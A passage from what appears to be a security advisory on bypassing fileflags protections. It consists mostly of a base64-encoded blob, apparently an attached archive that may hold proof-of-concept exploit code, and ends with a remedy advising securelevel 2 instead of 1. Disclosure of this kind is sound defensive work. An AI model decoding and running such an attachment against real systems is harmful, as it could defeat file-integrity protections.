    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

    -----

SOLUTION

    If fileflags are part of your security-concept, use security level
    2, not 1.  (sure, level 2 might also have been broken...)